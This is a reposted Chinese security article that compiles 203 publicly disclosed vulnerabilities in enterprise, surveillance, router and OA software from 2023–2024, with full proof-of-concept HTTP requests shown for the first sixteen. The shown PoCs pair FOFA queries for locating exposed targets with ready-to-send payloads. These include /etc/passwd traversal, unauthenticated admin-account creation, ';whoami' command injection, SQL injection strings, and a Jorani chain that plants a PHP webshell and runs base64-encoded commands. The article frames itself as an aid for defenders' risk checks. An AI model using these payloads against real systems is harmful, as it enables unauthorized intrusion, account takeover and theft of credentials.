互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
3 J# T# O+ g$ \( {, X/ c以下文章来源于网络安全新视界 ，作者网络安全新视界

7 ~: j/ H7 {8 h3 p. b发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
2 z8 m( z" s0 Y0 J; b
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
7 l1 e4 x& b8 B9 F& A7 `
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

) l" L( \) C3 |; X( M0 }
声明
' u5 u1 S1 K( e, q
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
6 d; r+ E: b- k4 O7 Q) a: H
/ b! P( T5 n. K7 e$ j+ j$ r& r有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

, }/ Z2 s. ?3 n

  D5 Y' E! n" ]6 ?' _目录

" H- J- W- |1 c% z01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
; B0 q. X  }! X7 J9 W! Z# @3. EasyCVR智能边缘网关 userlist 信息泄漏
; K/ E: i# F8 t, {: ^7 H' d, L4. EasyCVR视频管理平台存在任意用户添加
- l  D; }( h  e6 ^! r' E5. NUUO NVR 视频存储管理设备远程命令执行
, D" R+ h- R7 k; w) E, V/ ~6. 深信服 NGAF 任意文件读取
! m# M$ c7 S8 i9 l" `& d) o7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
  L8 h7 y% [4 r; }/ L10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
: U# i, b7 V9 C2 O9 s- O11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
, V+ _: i  v& P( K- U( t' X, S15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 L) z3 }/ Z" |9 g7 g- c; w19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
& F& o, R& j% P+ Q+ r& }20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
8 I: ~& f+ n! B& F; O- L22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
, S* t$ z, K: v! n9 j4 d8 l( {3 i1 a27. 用友 NC showcontent SQL注入
7 p. Y  C, N9 |28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
& N2 J9 n- R& m9 _  v: L. i& h+ m5 o" X32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
- X, F* o4 P! _4 j, L35. 用友NC-Cloud importhttpscer任意文件上传
8 ^' p5 V, F# R' w36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
# k5 [- v  o3 }6 c39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
0 L  c' J/ o; ^" o7 H41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
6 B9 f5 F1 D& P8 j6 K43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
6 N- a$ r. A& y& S' p46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
) K2 G4 r" V6 ?' h, H5 w51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
* f5 J  E' t9 X2 I9 I0 d) Q52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
( K$ h) Q4 Q, M; F( E2 a54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
9 U2 y  ?" t/ }, N59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
1 E/ ]% V! N  {4 k( ?/ d! a60. 百卓Smart管理平台 importexport.php SQL注入
5 @" G1 r9 ]9 m: m" V& M61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
$ j" _9 V9 L: j6 s" {5 C1 X6 o63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
' B3 I7 N- h# z5 K67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
& G# x4 o% Y# z70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
  B5 I* Z! {8 ]75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
  ~( P; E. C) O# C; H76. 新开普掌上校园服务管理平台service.action远程命令执行
- l4 ?$ D0 J8 T  q3 w4 Z1 l77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
9 I: A7 s4 Q9 }0 s4 y9 |$ l80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' H) i. L$ V5 _# e" l9 z! `6 p6 Y81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
* Q1 N. B6 J( D; z. G; m82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ y; [$ L9 ]. [/ S# p3 i83. JeecgBoot testConnection 远程命令执行
# s) d- @7 B1 `6 g8 c% F* g( p84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
( [5 k5 s: I* [1 q* X5 A85. SysAid On-premise< 23.3.36远程代码执行
! b/ ^3 W8 o/ D86. 日本tosei自助洗衣机RCE
- u, `4 o% ~* y" f9 L# U$ T2 _87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
3 L0 i" l: O8 h6 F" R90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
( ^# ^9 Z8 X4 h* G& q. f91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
8 F$ x6 ^% x! z  f; e94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
( k" [% ?/ h+ v) z* D95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
- n# ~6 k0 }* q0 r1 T( V" L$ L96. Apache OFBiz  18.12.11 groovy 远程代码执行
" Q" v3 B: s' k6 J7 G5 \9 v97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
$ j6 y7 l% U* S$ G( y% X102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
! o2 i! k% q$ j7 H. m! R" }- b& f103. Ivanti Pulse Connect Secure VPN XXE
% e6 Z$ e& E  o, E$ S7 D/ ?104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
8 _& N* f) W% O& H: |0 p105. SpringBlade v3.2.0 export-user SQL 注入
0 s, V$ {; n! q! e) f* ?106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
0 U- M% e$ B% x4 t4 J( r' W108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
: g1 B( C; Q. C1 s+ O& G" e1 s112. WordPress Plugin NotificationX SQL 注入
8 s* x8 K, a0 l113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
4 b. v3 v$ N5 Z& w2 Y. ?116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
6 ^- `. Q/ k9 E& P+ N" z, C0 |121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
" [" \! ]! T+ ]. t" H- A; T125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
  S9 J+ x; T; A9 m( k* ~( O131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
; T5 L  @  y8 _/ a, J4 o134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
! ?4 H, j5 y2 ^& e- ]136. NextChat cors SSRF
) N8 O$ _/ Y; x( F8 ?137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
# c8 B; d' D, m" N141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
% f2 `+ Q( X: J143. Netis WF2780 v2.1.40144 远程命令执行
! x% M! |, P4 s* J/ M8 u144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
4 I3 u7 P6 u: V! V, B146. MajorDoMo thumb.php 未授权远程代码执行
; S  Y8 c0 X2 F/ s9 p% \147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
$ j4 z4 z* h  m1 w148. CrushFTP 认证绕过模板注入
3 X. |3 t% D( c149. AJ-Report开源数据大屏存在远程命令执行
& B) }* g+ n- z( K150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
  [5 g" r' y. m7 n8 {152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
, l0 M3 p# C" g2 N154. 天维尔消防救援作战调度平台 SQL注入
/ z" H* _" T. T( P155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
* x1 U" j. `! S, s' R# H163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
) l. K' P9 {& O" E166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
; M6 n( j& a$ [3 W: {# R168. 宏景EHR OutputCode 任意文件读取
' ^* ]' ~! y# ^( f( D9 T) `169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
! J. y( \% B5 v" ^# n173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. V+ R& P" [5 g& ?. V2 J8 T176. 电信网关配置管理系统 rewrite.php 文件上传
! L& x3 b: O. [; @+ l6 D0 J1 o' d177. H3C路由器敏感信息泄露
5 `3 o8 G2 a! i178. H3C校园网自助服务系统-flexfileupload-任意文件上传
7 K4 G; I0 U% @/ F179. 建文工程管理系统存在任意文件读取
+ q$ c: z1 Z# r7 z" s5 f$ r180. 帮管客 CRM jiliyu SQL注入
2 [0 E( r9 p1 a8 f3 S) S181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
+ a6 u+ d. Q2 m+ X2 I; q0 `# e182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
! s- ~, h) @( T6 a' l0 Z  e: `183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
8 Q) U$ l% s2 F4 k184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
5 Z. u$ ?6 E% ?. g7 }0 l185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
7 r+ D* j0 p, C3 N189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
- Z( }% a# T7 _4 A/ e- j/ t4 Y192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
: Y4 l3 f! u7 q5 q) K0 \194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
7 M# D. _( V3 E. x# B) a+ X) X7 X195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
$ \1 Q" k- a( {$ }- d5 c& O197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
: {- x# x: H! j* }198.  阿里云盘 WebDAV 命令注入
' v4 d0 G8 j* [199. cockpit系统assetsmanager_upload接口 文件上传
& L+ }5 ^: Y$ w$ u$ _! c200. SeaCMS海洋影视管理系统dmku SQL注入
2 P( _. w$ Y3 e7 H0 Z0 r$ ~201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
* g5 I! w9 v+ C% q8 i6 a
POC列表

- i) d" A4 P$ ~) P& P02

1. StarRocks MPP数据库未授权访问
0 J' Y8 f0 R+ cFOFA ：title="StarRocks"
& x( C1 a: f" s7 T, C6 [GET /mem_tracker HTTP/1.1
Host: URL


# ?: n( |( |* L' R/ f0 O4 z2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
2 Z2 z$ B# H( }1 J9 O. r' QHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
" H' b1 E7 g' `0 c9 dAccept: */*
5 p- ^8 U" g  _! ?Accept-Language: en
# Q& C( [- o" S* UAccept-Encoding: gzip
: Z# [! X) z! l* b8 P1 ?

/ l+ G! i& p. A/ L* J  t3. EasyCVR智能边缘网关 userlist 信息泄漏
# D4 x0 i2 T6 V) W0 _6 {. \FOFA ：title="EasyCVR"
( K! I1 N; F, t: ~+ [/ wGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
, g' H+ z1 G+ a# f9 Y; ]1 V
8 K$ q: ^5 t# G& Z5 d
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

  u& k: ^2 B2 D3 k$ Hpassword更改为自己的密码md5
& V8 w+ D5 r/ H' ]! \POST /api/v1/adduser HTTP/1.1
0 x- _! e6 v' i$ h) MHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 i: W# u- j6 h: `& Z% E
5 r" ?7 g. k- o/ n' Xname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
3 ?3 c# g$ f7 O8 ^( i) g+ Y
$ M0 W5 z+ l6 l- X) `4 l4 G
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
6 W- \. n/ c9 x1 JGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

5 M1 z8 {5 t" J% y
6. 深信服 NGAF 任意文件读取
; A) d, {$ z. H% t# f2 {FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
9 y& e3 }2 u/ U! g6 h' k) u4 k1 _Host:

  y9 r% O2 ]- Y1 x+ w* \
7. 鸿运主动安全监控云平台任意文件下载
8 N0 {5 I2 o/ a4 z% @: o  Q3 y$ kFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
$ w0 X1 z4 L0 H# d' |& _7 B

8. 斐讯 Phicomm 路由器RCE
5 k! T  k5 w4 ?& j/ kFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
. B. G, L6 ^* lPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
7 q6 O1 X: H: ^8 ^9 I, {5 r2 p9 HHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
2 j$ s7 U3 s" a  d------WebKitFormBoundaryxbgjoytz
  N' D1 H7 t  o+ K2 a- U3 q7 CContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
" G8 a; r% V0 r: _# I: u+ S------WebKitFormBoundaryxbgjoytz
9 o% ~4 h- U0 k6 z  [Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
# Y& P4 ~* q$ }) p8 S$ u4 r
. W$ x. w' P: l8 |/ b: `
------WebKitFormBoundaryxbgjoytz--
5 M' v  I8 Y7 j& ~/ g
2 Z9 E5 z$ k# O8 X! w
2 c. o3 D, W# _+ S, Q4 K9. 稻壳CMS keyword 未授权SQL注入
& p; Z9 }: A- V5 V; r$ P- XFOFA：app="Doccms"
) {/ t# x1 x, Z0 r* CGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
% _7 F; @% M) Z0 f. f

5 W, v( K6 g3 @, t0 J* Gpayload为下列语句的二次Url编码

. S9 z2 s% ]6 ~! \: E- _- F  O! r' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
: c& j6 `% ~# y4 f# W- ZFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
1 P  I! F, ~7 {. M; d) oPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
% Z6 I  b0 ^' B. R9 dHost: x.x.x.x:xx
* o/ B, u6 p& x3 y" x- eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& q6 q4 n+ I+ F# ]3 YAccept-Encoding: gzip, deflate
% c& A. D( q$ E8 k3 R: SAccept-Language: zh-CN,zh;q=0.9
& ~; ~+ z0 @9 ~Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
8 b. t% @- a0 U% W3 V
------WebKitFormBoundaryxdgaqmqu
8 U0 C% e! l# ?5 K/ q6 @$ @Content-Disposition: form-data; name="file"filename="icfitnya.txt"
( i, y9 {* g8 I* _$ b, }Content-Type: text/html

4 h6 }: b4 n  U' _& K  i4 l% `jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
5 O1 K" x7 `7 o

5 ^2 \+ _, a3 P11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
/ r# h3 {1 u) R' c# JFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
. T' g/ N/ j9 s& j/ NGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
% c, G; d3 m, }1 H  a; pPragma: no-cache
Cache-Control: no-cache
6 V3 Q9 E, J7 O% E; W9 y' QUpgrade-Insecure-Requests: 1
) c+ ?: ]. C, \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ F* g, [: ^8 p+ k* h: GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% w3 |# ~+ f( G4 w/ FConnection: close


: N0 U# d/ A  s" D4 P12. Jorani < 1.0.2 远程命令执行
) M3 y' ?2 Q2 h2 Z5 SFOFA：title="Jorani"
& [& d; A/ P* D9 r第一步先拿到cookie
  u) ^: x. \) f' k, v7 f6 aGET /session/login HTTP/1.1
; r4 m3 n' Y6 RHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
1 g0 C# h) A- V! T. s5 A! nConnection: close
* ]- }" ~  z8 k* p+ a& `2 l2 fAccept-Encoding: gzip
- _5 A) a; L9 I( A( G
1 ?- |  t' i* A- m# \
! `" K) |( a+ }4 j响应中csrf_cookie_jorani用于后续请求
) o* Q7 F: }0 @8 YHTTP/1.1 200 OK
4 v7 S: E) L9 W. m+ [2 n% `Connection: close
Cache-Control: no-store, no-cache, must-revalidate
; J( ^) ~* D/ ~+ vContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
. ]3 S- ^6 k- V# \* K; tExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
  g+ ~5 [; Q6 W$ rPragma: no-cache
Server: Apache/2.4.54 (Debian)
0 X; n% \/ Y0 o$ iSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
. F$ M  I, }& r6 d  GVary: Accept-Encoding


0 i  T1 j% Y% i. N4 I) t3 X4 k7 oPOST请求，执行函数并进行base64编码
9 @+ x2 h3 A! s; ?+ lPOST /session/login HTTP/1.1
: _! r+ y3 G# v! o2 ?: aHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
) V6 P% ~; j# k% E1 IContent-Type: application/x-www-form-urlencoded
3 g- J; x% l0 [5 G7 _/ }Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
4 h4 v. j% U7 {' y8 {3 G/ O+ Y
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

; p& \( U: C, _" T, K, M
. P4 c; S! a+ z- |0 N: A# o* d( Y
: r' ~% g# Q% h' D1 p9 h向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
/ v% t5 d+ J% }! P  F7 w" b, {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
( c7 Y9 K" u  `0 h; j& n( O! ACookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
: G* j5 z, J( k; t9 iK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 [0 k0 \. @9 H  ?. z* x% }$ [' a% GX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
& Z1 v1 z1 i% m+ Q5 w
7 `: p! S. [3 o2 S$ K
5 Z# e) }7 t& L( q3 b+ v; i13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
4 s% @! T  k2 I: R; D$ wGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ O/ L3 k, |- LConnection: close
  j: C, r6 C% xAccept: */*
3 A- L: m7 H$ Y2 _Accept-Encoding: gzip
# z* |& E7 |, s9 ]5 E

3 j* G9 e9 N0 h7 \% ?14. 华夏ERP（jshERP）敏感信息泄露
, t* a$ a! w+ c8 B* X# SFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
0 a3 `8 m) J6 ?1 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
$ ?, C, X& L" G7 AConnection: close
3 t  R9 c3 q# E+ I$ `Accept: */*
# m8 C  ^- P4 [+ wAccept-Language: en
Accept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
2 c! f; v, o! O4 G# k. ^CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
' h4 `5 A* ~: O8 _7 EGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
- A7 M! t1 X. N' iConnection: close
+ t5 E5 o' U' mAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
8 X$ b1 M: h- T: q  F4 ?sec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
5 x* z2 R8 n! V7 a1 ?- sFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
